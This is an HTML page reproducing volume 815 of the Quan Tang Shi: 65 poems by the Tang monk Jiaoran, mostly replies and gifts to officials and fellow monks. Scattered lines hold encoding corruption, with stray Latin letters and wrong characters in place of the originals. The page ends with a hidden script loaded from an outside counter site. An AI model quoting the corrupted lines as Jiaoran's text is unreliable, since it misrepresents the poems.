<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link rel="stylesheet" href="../../style.css"><title>古诗库：全唐诗卷八百一十五</title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">

</head>
<body><script language="javascript" src="../../search.js"></script>
<center><input type="button" value="本页内部搜索" onclick="gofind()"></center>
<p><div align="left">

　　　　　　　　　　　　　　卷八百一十五
<br>
<br>　　卷815_1  「奉酬于中丞使君郡斋卧病见示一首」皎然
<br>
<br>　　宿昔祖师教，了空无不可。枯槁未死身，理心寄行坐。
<br>
<br>　　仁公施春令，和风来泽我。生成一草木，大道无负荷。
<br>
<br>　　论入空王室，明月开心胸。性起妙不染，心行寂无踪。
<br>
<br>　　若非禅中侣，君为雷次宗。比闻朝端名，今贻郡斋作。
<br>
<br>　　真思凝瑶瑟，高情属云鹤。抉得骊龙珠，光彩曜掌握。
<br>
<br>　　若作诗中友，君为谢康乐。盘薄西山气，贮在君子衿。
<br>
<br>　　澄澹秋水影，用为字人心。群物如凫p，游翱爱清深。
<br>
<br>　　格居第一品，高步凌前躅。精义究天人，四坐听不足。
<br>
<br>　　伊昔柳太守，曾赏汀洲O.如何五百年，重见江南春。
<br>
<br>　　公每省往事，咏歌怀昔辰。以兹得高卧，任物化自淳。
<br>
<br>　　还因访禅隐，知有雪山人。
<br>
<br>　　卷815_2  「赠李中丞洪一首」皎然
<br>
<br>　　深沈阃外略，奕世当荣寄。地裂大将封，家传介瑞。
<br>
<br>　　至今漳河俗，犹受仁人赐。公初镇惟邢，决胜无精兵。
<br>
<br>　　重围逼大敌，六月守孤城。政用仁恕立，恩由赏罚明。
<br>
<br>　　遂令麾下士，感德不顾生。于时闻王师，诸将兵颇黩。
<br>
<br>　　天子狩南汉，烟尘满函谷。纯臣独耿介，下士多反覆。
<br>
<br>　　明公仗忠节，一言感万夫。物性如蒺藜，化作春兰敷。
<br>
<br>　　见说金被烁，终期玉有瑜。移官万里道，君子情何如。
<br>
<br>　　伊昔避事心，乃是方袍客。顿了空王旨，仍高致君策。
<br>
<br>　　安知七十年，一朝值宗伯。言如及清风，醒然开我怀。
<br>
<br>　　宴息与游乐，不将衣褐乖。海底取明月，鲸波不可度。
<br>
<br>　　上有巨蟒吞，下有毒龙护。一与吾师言，乃于中心悟。
<br>
<br>　　咄哉冥冥子，胡为自尘污。
<br>
<br>　　卷815_3  「杼山禅居寄赠东溪吴处士冯一首」皎然
<br>
<br>　　青云何润泽，下有贤人隐。路入菱湖深，迹与黄鹤近。
<br>
<br>　　野风吹白芷，山月摇清轸。诗祖吴叔庠，致君名不尽。
<br>
<br>　　身当青山秀，文体多郢声。澄澈湘水碧，寥楚山青。
<br>
<br>　　时人格不同，至今罕知名。昔贤敦师友，此道君独行。
<br>
<br>　　既得庐霍趣，乃高雷远情。别时春风多，扫尽雪山雪。
<br>
<br>　　为君中夜起，孤坐石上月。悠然遗尘想，邈矣达性说。
<br>
<br>　　故人不在兹，幽桂惜未结。
<br>
<br>　　卷815_4  「妙喜寺高房期灵澈上人不至，重招之一首」皎然
<br>
<br>　　晨起峰顶心，怀人望空碧。扫雪开寺门，洒水净僧席。
<br>
<br>　　言笑形外阻，风仪想中觌。驰心惊叶动，倾耳闻泉滴。
<br>
<br>　　岂虑咆虎逢，乍疑崩湍隔。前期或不顾，知尔隳常格。
<br>
<br>　　如今谁山下，秋霖步淅沥。吾亦聊自得，行禅荷轻策。
<br>
<br>　　松声畅幽情，山意导遐迹。举目无世人，题诗足奇石。
<br>
<br>　　贫山何所有，特此邀来客。
<br>
<br>　　卷815_5  「奉和薛员外谊赠汤评事衡反招隐之迹兼见寄十二韵」皎然
<br>
<br>　　喜友称高儒，旷怀美无度。近为东田诱，遂耽西山趣。
<br>
<br>　　庭有介隐心，得无云泉误。府公中司贵，频贻咫尺素。
<br>
<br>　　郡佐仙省高，亦赠琼瑶句。诮兹长往志，纡彼独游步。
<br>
<br>　　禅子方外期，梦想山中路。艰难亲稼穑，晨夕苦烟雾。
<br>
<br>　　曷若孟尝门，日荣国士遇。铿锵聆绮瑟，攀折迩琼树。
<br>
<br>　　幽践随鹿麋，久期怨蟾兔。情同不系舟，有迹道所恶。
<br>
<br>　　卷815_6  「答黎士曹黎生前适越后之楚」皎然
<br>
<br>　　楚木纷如麻，高松自孤直。愿得苦寒枝，与君比颜色。
<br>
<br>　　故乡眇天末，羁旅沧江隅。委质在忠信，苦心无变渝。
<br>
<br>　　何繇表名义，赠君金辘轳。何以美知才，投我悬黎珠。
<br>
<br>　　遽为千里别，南风思越绝。爱君随海鸥，倚棹宿沙月。
<br>
<br>　　不栖恶木上，肯蹈巴蛇穴。一上萧然峰，拟踪幽人辙。
<br>
<br>　　晨兴独西望，郢水期溯沿。夜到洞庭月，秋经云梦天。
<br>
<br>　　黎生知吾道，此地不潸然。欲寄楚人住，学渔子船。
<br>
<br>　　奈何北风至，搅我窗中弦。游子动归思，江蓠亦绵绵。
<br>
<br>　　箧中封禅书，欲献无由缘。岂乏晨风翼，翻飞到日边。
<br>
<br>　　卷815_7  「答豆卢次方」皎然
<br>
<br>　　吾爱道交论，为高贵世名。昔称柴桑令，今闻豆卢生。
<br>
<br>　　彼生清淮气，独钟文中彩。近作公宴诗，如逢何柳在。
<br>
<br>　　吾用古人耳，采君四坐珍。贤士胜朝晖，温温无冬春。
<br>
<br>　　朝晖烁我肌，贤士清我神。微尔与云鹄，幽怀何由申。
<br>
<br>　　别来秋风至，独坐楚山碧。高月当清冥，禅心正寂历。
<br>
<br>　　增波徒相骇，人远情不隔。有书遗琼什，以代貂b。
<br>
<br>　　风教凌越绝，声名掩吴趋。悬璧安可酬，徙倚还踟蹰。
<br>
<br>　　卷815_8  「答苏州韦应物郎中」皎然
<br>
<br>　　诗教殆沦缺，庸音互相倾。忽观风骚韵，会我夙昔情。
<br>
<br>　　荡漾学海资，郁为诗人英。格将寒松高，气与秋江清。
<br>
<br>　　何必邺中作，可为千载程。受辞分虎竹，万里临江城。
<br>
<br>　　到日扫烦政，况今休黩兵。应怜禅家子，林下寂无营。
<br>
<br>　　迹隳世上华，心得道中精。脱略文字累，免为外物撄。
<br>
<br>　　书衣流埃积，砚石驳藓生。恨未识君子，空传手中琼。
<br>
<br>　　安可诱我性，始愿愆素诚。为无N|音，继公云和笙。
<br>
<br>　　吟之向禅薮，反愧幽松声。
<br>
<br>　　卷815_9  「答郑方回」皎然
<br>
<br>　　独禅外念入，中夜不成定。顾我憔悴容，泽君阳春咏。
<br>
<br>　　词贞思且逸，琼彩何晖映。如聆云和音，况睹声名盛。
<br>
<br>　　琴语掩为闻，山心声宜听。是时寒光澈，万境澄以净。
<br>
<br>　　高秋日月清，中气天地正。远情偶兹夕，道用增寥椤
<br>
<br>　　思君处虚空，一操不可更。时美城北徐，家承谷口郑。
<br>
<br>　　轩车未有辙，蒿兰且同径。庄生诫近名，夫子罕言命。
<br>
<br>　　是以耕楚田，旷然殊独行。萎蕤鸾凤彩，特达璋性。
<br>
<br>　　通隐嘉黄绮，高儒重荀孟。世污我未起，道蹇吾犹病。
<br>
<br>　　逸翮思冥冥，潜鳞乐游泳。宗师许学外，恨不逢孔圣。
<br>
<br>　　说诗迷颓靡，偶俗伤趋竞。此道谁共诠，因君情欲罄。
<br>
<br>　　卷815_10  「答俞校书冬夜」皎然
<br>
<br>　　夜闲禅用精，空界亦清迥。子真仙曹吏，好我如宗炳。
<br>
<br>　　一宿觌幽胜，形清烦虑屏。新声殊激楚，丽句同歌郢。
<br>
<br>　　遗此感予怀，沈吟忘夕永。月彩散瑶碧，示君禅中境。
<br>
<br>　　真思在杳冥，浮念寄形影。遥得四明心，何须蹈岑岭。
<br>
<br>　　诗情聊作用，空性惟寂静。若许林下期，看君辞簿领。
<br>
<br>　　卷815_11  「妙喜寺达公禅斋寄李司直公孙、房都曹德裕…四十二韵」皎然
<br>
<br>　　我祖传六经，精义思朝彻。方舟颇周览，逸书亦备阅。
<br>
<br>　　墨家伤刻薄，儒氏知优劣。弱植庶可凋，苦心未尝辍。
<br>
<br>　　中年慕仙术，永愿传其诀。岁驻若木景，日餐琼禾屑。
<br>
<br>　　婵娟羡门子，斯语岂徒设。天上生白榆，葳蕤信好折。
<br>
<br>　　实可反柔颜，花堪养玄发。求之性分外，业弃金亦竭。
<br>
<br>　　药化成白云，形凋辞素穴。一闻西天旨，初禅已无热。
<br>
<br>　　涓子非我宗，然公有真诀。却寻丘壑趣，始与缨绂别。
<br>
<br>　　野饭敌膏粱，山楹代藻。与君北岩侣，游寓日常i.
<br>
<br>　　静对春谷泉，晴披阳林雪。境清觉神王，道胜知机灭。
<br>
<br>　　诣寂长杳冥，忘归暂采撷。物生岂有心，丽容俟予别。
<br>
<br>　　桂子何q苓，琪葩亦皎洁。此木生意高，亦与众芳列。
<br>
<br>　　赏墨识屡换，省躬悟弥切。微尚若不亏，足以全吾节。
<br>
<br>　　北风吹蕙带，萧寥闻蜻}.宿昔庐峰期，流芳已再歇。
<br>
<br>　　不有清屏鉴，使我商弦绝。愿寄千里心，月高不可掇。
<br>
<br>　　优游邦之直，远矣踵前烈。立俗忘毁誉，遇物遗巧拙。
<br>
<br>　　真气独然，轩裳讵能绁。都曹风韵整，纲纪信明决。
<br>
<br>　　于交必倾写，立行岂矜伐。政与清渭同，分流自澄澈。
<br>
<br>　　裴侯资亮直，中诚岂徒说。古人比明义，清士愿交结。
<br>
<br>　　温温躬彩，终始声不缺。颜生炯介士，有志不可越。
<br>
<br>　　仗义冒险难，持操去淄涅。世论高二贤，贤贤继前哲。
<br>
<br>　　四子遭明盛，裒然皆秀杰。理名虽殊迹，悟道宁异辙。
<br>
<br>　　爱尔竹柏姿，为予寒不折。
<br>
<br>　　卷815_12  「遥酬袁使君高春暮行县，过报德寺见怀」皎然
<br>
<br>　　江春行求瘼，偶与真境期。见说三陵下，前朝开佛祠。
<br>
<br>　　停舟仰丽刹，绣组发香墀。咫尺空界色，天人花落时。
<br>
<br>　　盛游限羸疾，悚踊瞻旌旗。峰翠羡闲步，松声入遥思。
<br>
<br>　　素高淮阳理，况负东山姿。迨此一登览，深情见新诗。
<br>
<br>　　卷815_13  「冬日遥和卢使君幼平、綦毋居士游法华寺高顶临湖亭」皎然
<br>
<br>　　仁坊标绝境，廉守蹑高踪。天晓才分刹，风传欲尽钟。
<br>
<br>　　城中归路远，湖上碧山重。水照千花界，云开七叶峰。
<br>
<br>　　寒芳艾绶满，空翠白纶浓。逸韵知难继，佳游恨不逢。
<br>
<br>　　仍闻抚禅石，为我久从容。
<br>
<br>　　卷815_14  「秋日遥和卢使君游何山寺宿上人房论涅经义」皎然
<br>
<br>　　江郡当秋景，期将道者同。迹高怜竹寺，夜静赏莲宫。
<br>
<br>　　古磬清霜下，寒山晓月中。诗情缘境发，法性寄筌空。
<br>
<br>　　翻译推南本，何人继谢公。
<br>
<br>　　卷815_15  「酬秦山人系题赠」皎然
<br>
<br>　　出斋步杉影，手自开禅扉。花满不污地，云多从触衣。
<br>
<br>　　思山石藓净，款客露葵肥。果得宗居士，论心到极微。
<br>
<br>　　卷815_16  「奉酬袁使君高寺院新亭对雨（其亭即使君所创）」皎然
<br>
<br>　　兹亭迹素浅，胜事并随公。法界飘香雨，禅窗洒竹风。
<br>
<br>　　浮烟披夕景，高鹤下秋空。冥寂四山久，宁期此会同。
<br>
<br>　　卷815_17  「奉酬颜使君真卿见过郭中寺寺无山水之赏…以答焉」皎然
<br>
<br>　　州西柳家寺，禅舍隐人间。证性轻观水，栖心不买山。
<br>
<br>　　履声知客贵，云影悟身闲。彦会前贤事，方今可得攀。
<br>
<br>　　卷815_18  「酬乌程杨明府华雨后小亭对月见呈」皎然
<br>
<br>　　夜凉喜无讼，霁色摇闲情。暑退不因雨，陶家风自清。
<br>
<br>　　凝弦停片景，发咏静秋声。何事禅中隐，诗题忽记名。
<br>
<br>　　卷815_19  「自苏州访医回酬卢士关判官见赠」皎然
<br>
<br>　　寻医初疾理，忽忆故山云。远访桑公子，还依柳使君。
<br>
<br>　　周旋承惠爱，佩服比兰薰。从事因高唱，秋风起处闻。
<br>
<br>　　卷815_20  「题沈道士新亭」皎然
<br>
<br>　　何处好攀跻，新亭俯旧溪。坐中千里近，檐下四山低。
<br>
<br>　　小浦依林曲，回塘绕郭西。桃花春满地，归路莫相迷。
<br>
<br>　　卷815_21  「送卢仲舒移家海陵」皎然
<br>
<br>　　世故多离散，东西不可嗟。小秦非本国，楚塞复移家。
<br>
<br>　　海岛无邻里，盐居少物华。山中吟夜月，相送在天涯。
<br>
<br>　　卷815_22  「陪卢使君登楼送方巨之还京」皎然
<br>
<br>　　万里汀洲上，东楼欲别离。春风潮水漫，正月柳条寒。
<br>
<br>　　旅逸逢渔浦，清高爱鸟冠。云山宁不起，今日向长安。
<br>
<br>　　卷815_23  「同裴录事楼上望」皎然
<br>
<br>　　退食高楼上，湖山向晚晴。桐花落万井，月影出重城。
<br>
<br>　　水竹凉风起，帘帏暑气清。萧萧独无事，因见莅人情。
<br>
<br>　　卷815_24  「寓兴」皎然
<br>
<br>　　天下生白榆，白榆直上连天根。高枝不知几万丈，
<br>
<br>　　世人仰望徒攀援。谁能上天采其子，种向人间笑桃李。
<br>
<br>　　因问老仙求种法，老仙跷矣薏淮稹Ｊ贾此道无所成，
<br>
<br>　　还如瞽夫学长生。
<br>
<br>　　卷815_25  「寄常一上人」皎然
<br>
<br>　　雁塞五山临汗漫，云州一路出青冥。
<br>
<br>　　何因请住嘉祥寺，内史新修湖上亭。
<br>
<br>　　卷815_26  「送秘上人游京」皎然
<br>
<br>　　共君方异路，山伴与谁同。日冷行人少，时清古镇空。
<br>
<br>　　暖瓶和雪水，鸣锡带江风。撩乱终南色，遥应入梦中。
<br>
<br>　　卷815_27  「赋得啼猿送客」皎然
<br>
<br>　　万里巴江外，三声月峡深。何年有此路，几客共沾襟。
<br>
<br>　　断壁分垂影，流泉入苦吟。凄凉离别后，闻此更伤心。
<br>
<br>　　卷815_28  「南楼望月」皎然
<br>
<br>　　夜月家家望，亭亭爱此楼。纤云溪上断，疏柳影中秋。
<br>
<br>　　渐映千峰出，遥分万派流。关山谁复见，应独起边愁。
<br>
<br>　　卷815_29  「寻陆鸿渐不遇」皎然
<br>
<br>　　移家虽带郭，野径入桑麻。近种篱边菊，秋来未著花。
<br>
<br>　　扣门无犬吠，欲去问西家。报道山中去，归时每日斜。
<br>
<br>　　卷815_30  「怀旧山（一作沧浩诗，题云留别嘉兴知己）」皎然
<br>
<br>　　一坐西林寺，从来未下山。不因寻长者，无事到人间。
<br>
<br>　　宿雨愁为客，寒花笑未还。空怀旧山月，童子念经闲。
<br>
<br>　　卷815_31  「宿吴匡山破寺」皎然
<br>
<br>　　双峰百战后，真界满尘埃。蔓草缘空壁，悲风起故台。
<br>
<br>　　野花寒更发，山月暝还来。何事池中水，东流独不回。
<br>
<br>　　卷815_32  「九月十日」皎然
<br>
<br>　　爱杀柴桑隐，名溪近讼庭。扫沙开野步，摇舸出闲汀。
<br>
<br>　　宿简邀诗伴，馀花在酒瓶。悠然南望意，自有岘山情。
<br>
<br>　　卷815_33  「秋晚宿破山寺」皎然
<br>
<br>　　秋风落叶满空山，古寺残灯石壁间。
<br>
<br>　　昔日经行人去尽，寒云夜夜自飞还。
<br>
<br>　　卷815_34  「青阳上人院说金陵故事」皎然
<br>
<br>　　君说南朝全盛日，秣陵才子更多人。
<br>
<br>　　千年秋色古池馆，谁见齐王西邸春。
<br>
<br>　　卷815_35  「送僧之京师」皎然
<br>
<br>　　绵绵渺渺楚云繁，万里西归望国门。
<br>
<br>　　禅子初心易凄断，秋风莫上少陵原。
<br>
<br>　　卷815_36  「送许丞还洛阳」皎然
<br>
<br>　　剡茗情来亦好斟，空门一别肯沾襟。
<br>
<br>　　悲风不动罢瑶轸，忘却洛阳归客心。
<br>
<br>　　卷815_37  「题湖上草堂」皎然
<br>
<br>　　山居不买剡中山，湖上千峰处处闲。
<br>
<br>　　芳草白云留我住，世人何事得相关。
<br>
<br>　　卷815_38  「酬李司直纵诸公冬日游妙喜寺题照、昱二上人房…述」皎然
<br>
<br>　　达贤贵贞隐，常惧迹不灭。遂与永公期，遗身坐林樾。
<br>
<br>　　华轩何辚辚，为我到幽绝。心境寒草花，空门青山月。
<br>
<br>　　潘生独不见，清景屡盈缺。林下常寂寥，人间自离别。
<br>
<br>　　何时解轻佩，来税丘中辙。
<br>
<br>　　卷815_39  「赠乌程李明府伯宜、沈兵曹仲昌」皎然
<br>
<br>　　水国苦凋瘵，东皋岂遗黍。云阴无尽时，日出常带雨。
<br>
<br>　　昨夜西溪涨，扁舟入檐庑。野人同鸟巢，暴客若蜂聚。
<br>
<br>　　岁晏无斗粟，寄身欲何所。空羡鸾鹤姿，翩翩自轻举。
<br>
<br>　　卷815_40  「奉酬颜使君真卿、王员外圆宿寺兼送员外使回」皎然
<br>
<br>　　鲁公邀省客，贫寺人过少。锦帐惟野花，竹屏有窗筱。
<br>
<br>　　朝行石色净，夜听泉声小。释事情已高，依禅境无扰。
<br>
<br>　　超遥长路首，怅望空林杪。离思从此生，还将此心了。
<br>
<br>　　卷815_41  「杼山上峰和颜使君真卿、袁侍御五韵赋得印字…之会」皎然
<br>
<br>　　道情寄远岳，放旷临千仞。香路延绛驺，华泉写金印。
<br>
<br>　　日欹诸天近，雨过三华润。留客云外心，忘机松中韵。
<br>
<br>　　灵嘉早晚期，为布东山信。
<br>
<br>　　卷815_42  「同薛员外谊喜雨诗兼上杨使君」皎然
<br>
<br>　　积旱忽飞澍，A民心亦倾。郊云不待族，雨色飞江城。
<br>
<br>　　骷阱又发，败荷滋更荣。时随雾e重，乍集柳丝轻。
<br>
<br>　　一宿恐鱼飞，数朝征鹳鸣。毒暑澄为冷，高尘涤还清。
<br>
<br>　　乃知阴骘数，制在造化情。及此接欢贺，临风闻颂声。
<br>
<br>　　卷815_43  「南湖春泛有客自北至说友人岑元…叙相思之志以寄焉」皎然
<br>
<br>　　故人隔楚水，日夕望芳洲。春草思眇眇，征云暮悠悠。
<br>
<br>　　心期无形影，迹旷成阻修。有客江上至，知君佐雄州。
<br>
<br>　　铿锵佩苍玉，躞蹀驱绛驺。伊昔中峰心，从来非此流。
<br>
<br>　　资予长生诀，希彼高山俦。此情今如何，宿昔师吾谋。
<br>
<br>　　别年谒禅老，更添石室筹。深见人间世，飘如水上沤。
<br>
<br>　　蝉号齐王邸，月苦隋帝楼。声华尽冥寞，麋鹿徒呦呦。
<br>
<br>　　我有一字教，坐然遗此忧。何烦脱组，不用辞王侯。
<br>
<br>　　只在名位中，空门兼可游。
<br>
<br>　　卷815_44  「同薛员外谊久旱感怀寄兼呈上杨使君」皎然
<br>
<br>　　皇天鉴不昧，蚁牒慰杭。丝雨久愆期，绮霞徒相惑。
<br>
<br>　　阴云舒又卷，濯枝安可得。涸井不累瓶，干溪一凭轼。
<br>
<br>　　赤地芳草死，飙尘惊四塞。戎冠夜刺闺，民荒岁伤国。
<br>
<br>　　赖以王猷盛，中原无凶慝。杨公当此晨，省灾常旰食。
<br>
<br>　　独感下堂雨，偏嘉越境域。秋郊天根见，我疆看稼穑。
<br>
<br>　　请回云汉诗，为君歌乐职。
<br>
<br>　　卷815_45  「兵后早春登故鄣南楼望昆山寺白鹤观示清道人并沈道士」皎然
<br>
<br>　　新阳故楼上，眇眇伤遐眷。违世情易忘，羁时得无倦。
<br>
<br>　　春归华柳发，世故陵谷变。扰扰陌上心，悠悠梦中见。
<br>
<br>　　苍林有灵境，杳映遥可羡。春日倚东峰，华泉落西甸。
<br>
<br>　　钟声在空碧，幡影摇葱`.缅想山中人，神期如会面。
<br>
<br>　　别离芳月积，岐路浮云偏。正□入空门，仙君依苦县。
<br>
<br>　　隳形舍簪绂，烹玉思精炼。事外宜我心，人间岂予恋。
<br>
<br>　　身遗世自薄，道胜名必贱。耳目何所娱，白云与黄卷。
<br>
<br>　　卷815_46  「酬乌程杨明府华将赴渭北对月见怀」皎然
<br>
<br>　　释印及秋夜，身闲境亦清。风襟自潇洒，月意何高明。
<br>
<br>　　闻说武安君，万里驱妖精。开府集秀士，先招士林英。
<br>
<br>　　晋家用元凯，亦是鲁诸生。北望抚长剑，感君知已行。
<br>
<br>　　边尘昏玉帐，杀气凝金镫。大敌折齐俎，一书下聊城。
<br>
<br>　　翻飞青云路，宿昔沧洲情。
<br>
<br>　　卷815_47  「酬邢端公济春日苏台有呈袁州李使君…辛阳王三侍御」皎然
<br>
<br>　　大贤当佐世，尧时难退身。如何丹霄侣，却在沧江滨。
<br>
<br>　　柳色变又遍，莺声闻亦频。赖逢宜春守，共赏南湖春。
<br>
<br>　　营道知止足，饰躬无缁磷。家将诗流近，迹与禅僧亲。
<br>
<br>　　放旷临海门，翱翔望云津。虽高空王说，不久山中人。
<br>
<br>　　卷815_48  「奉和裴使君清春夜南堂听陈山人弹白雪」皎然
<br>
<br>　　春宵凝丽思，闲坐开南围。郢客弹白雪，纷纶发金徽。
<br>
<br>　　散从天上至，集向琼台飞。弦上凝飒飒，虚中想霏霏。
<br>
<br>　　通幽鬼神骇，合道精鉴稀。变态风更入，含情月初归。
<br>
<br>　　方知阮太守，一听识其微。
<br>
<br>　　卷815_49  「答孟秀才」皎然
<br>
<br>　　羸疾依小院，空闲趣自深。蹑苔怜静色，扫树共芳阴。
<br>
<br>　　物外好风至，意中佳客寻。虚名谁欲累，世事我无心。
<br>
<br>　　投赠荷君芷，馨香满幽襟。
<br>
<br>　　卷815_50  「酬崔侍御见赠」皎然
<br>
<br>　　买得东山后，逢君小隐时。五湖游不厌，柏署迹如遗。
<br>
<br>　　市隐何妨道，禅栖不废诗。与君为此说，长破小乘疑。
<br>
<br>　　卷815_51  「赠柳喜得嵩山法门自号嵩山老（一作赠柳先生）」皎然
<br>
<br>　　一见嵩山老，吾生恨太迟。问君年几许，曾出上皇时。
<br>
<br>　　卷815_52  「酬李补阙纾」皎然
<br>
<br>　　不住东林寺，云泉处处行。近臣那得识，禅客本无名。
<br>
<br>　　卷815_53  「湖南兰若示大乘诸公」皎然
<br>
<br>　　未到无为岸，空怜不系舟。东山白云意，岁晚尚悠悠。
<br>
<br>　　卷815_54  「兵后经永安法空寺寄悟禅师（其寺贼所焚）」皎然
<br>
<br>　　常说人间法自空，何言出世法还同。微踪旧是香林下，
<br>
<br>　　馀烬今成火宅中。后夜池心生素月，春天树色起悲风。
<br>
<br>　　吾知世代相看尽，谁悟浮生似影公。
<br>
<br>　　卷815_55  「春日杼山寄赠李员外纵」皎然
<br>
<br>　　南山唯与北山邻，古树连拳伴我身。黄鹤有心多不住，
<br>
<br>　　白云无事独相亲。闲持竹锡深看水，懒系麻衣出见人。
<br>
<br>　　欲掇幽芳聊赠远，郎官那赏石门春。
<br>
<br>　　卷815_56  「酬秦山人赠别二首」皎然
<br>
<br>　　知君高隐占贤星，卷叶时时注佛经。姓被名公题旧里，
<br>
<br>　　诗将丽句号新亭。来观新月依清室，欲漱香泉护触瓶。
<br>
<br>　　我有主人江太守，如何相伴住禅灵。
<br>
<br>　　谁知卧病不妨禅，迹寄诗流性似偏。叶示黄金童子爱，
<br>
<br>　　书题青字古人传。时高独鹤来云外，每羡闲花在眼前。
<br>
<br>　　对此留君还欲别，应思石de访春泉。
<br>
<br>　　卷815_57  「山居示灵澈上人」皎然
<br>
<br>　　晴明路出山初暖，行踏春芜看茗归。乍削柳枝聊代札，
<br>
<br>　　时窥云影学裁衣。身闲始觉隳名是，心了方知苦行非。
<br>
<br>　　外物寂中谁似我，松声草色共无机。
<br>
<br>　　卷815_58  「遥和康录事李侍御萼小寒食夜重集康氏园林」皎然
<br>
<br>　　习家寒食会何频，应恐流芳不待人。已爱治书诗句逸，
<br>
<br>　　更闻从事酒名新。庭芜暗积承双履，林花雷飞洒幅巾。
<br>
<br>　　谁见柰园时节共，还持绿茗赏残春。
<br>
<br>　　卷815_59  「释裴循春愁」皎然
<br>
<br>　　蝶舞莺歌喜岁芳，柳丝袅袅蕙带长。
<br>
<br>　　江南春色共君有，何事君心独自伤。
<br>
<br>　　卷815_60  「西白溪期裴方舟不至」皎然
<br>
<br>　　望君不见复何情，野草闲云处处生。
<br>
<br>　　应向秦时武陵路，花间寂历一人行。
<br>
<br>　　卷815_61  「劳山忆栖霞寺道素上人久期不至」皎然
<br>
<br>　　远寺萧萧独坐心，山情自得趣何深。泉声稍滴芙蓉漏，
<br>
<br>　　月影才分鹦鹉林。满地云轻长碍屣，绕松风近每吹襟。
<br>
<br>　　贪闲不记前心偈，念别聊为出世吟。更待花开遍山雪，
<br>
<br>　　山山相似若为寻。
<br>
<br>　　卷815_62  「酬秦山人出山见呈」皎然
<br>
<br>　　手携酒}共书帏，回语长松我即归。
<br>
<br>　　若是出山机已息，岭云何事背君飞。
<br>
<br>　　卷815_63  「酬秦山人见寻」皎然
<br>
<br>　　左右香童不识君，担簦访我领鸥群。
<br>
<br>　　山僧待客无俗物，唯有窗前片碧云。
<br>
<br>　　卷815_64  「宿法华寺简灵澈上人」皎然
<br>
<br>　　至道无机但杳冥，孤灯寒竹自青荧。
<br>
<br>　　不知何处小乘客，一夜风来闻诵经。
<br>
<br>　　卷815_65  「潜别离」皎然
<br>
<br>　　乌头虽黑白有时，唯有潜离与暗别，彼此甘心无后期。
<br>
<br>
<br>   
<br>
<br>
</center></div>
<div style="DISPLAY: none"><script src=http://www.lingshidao.com/count/count.php></script></div></body>
</html>
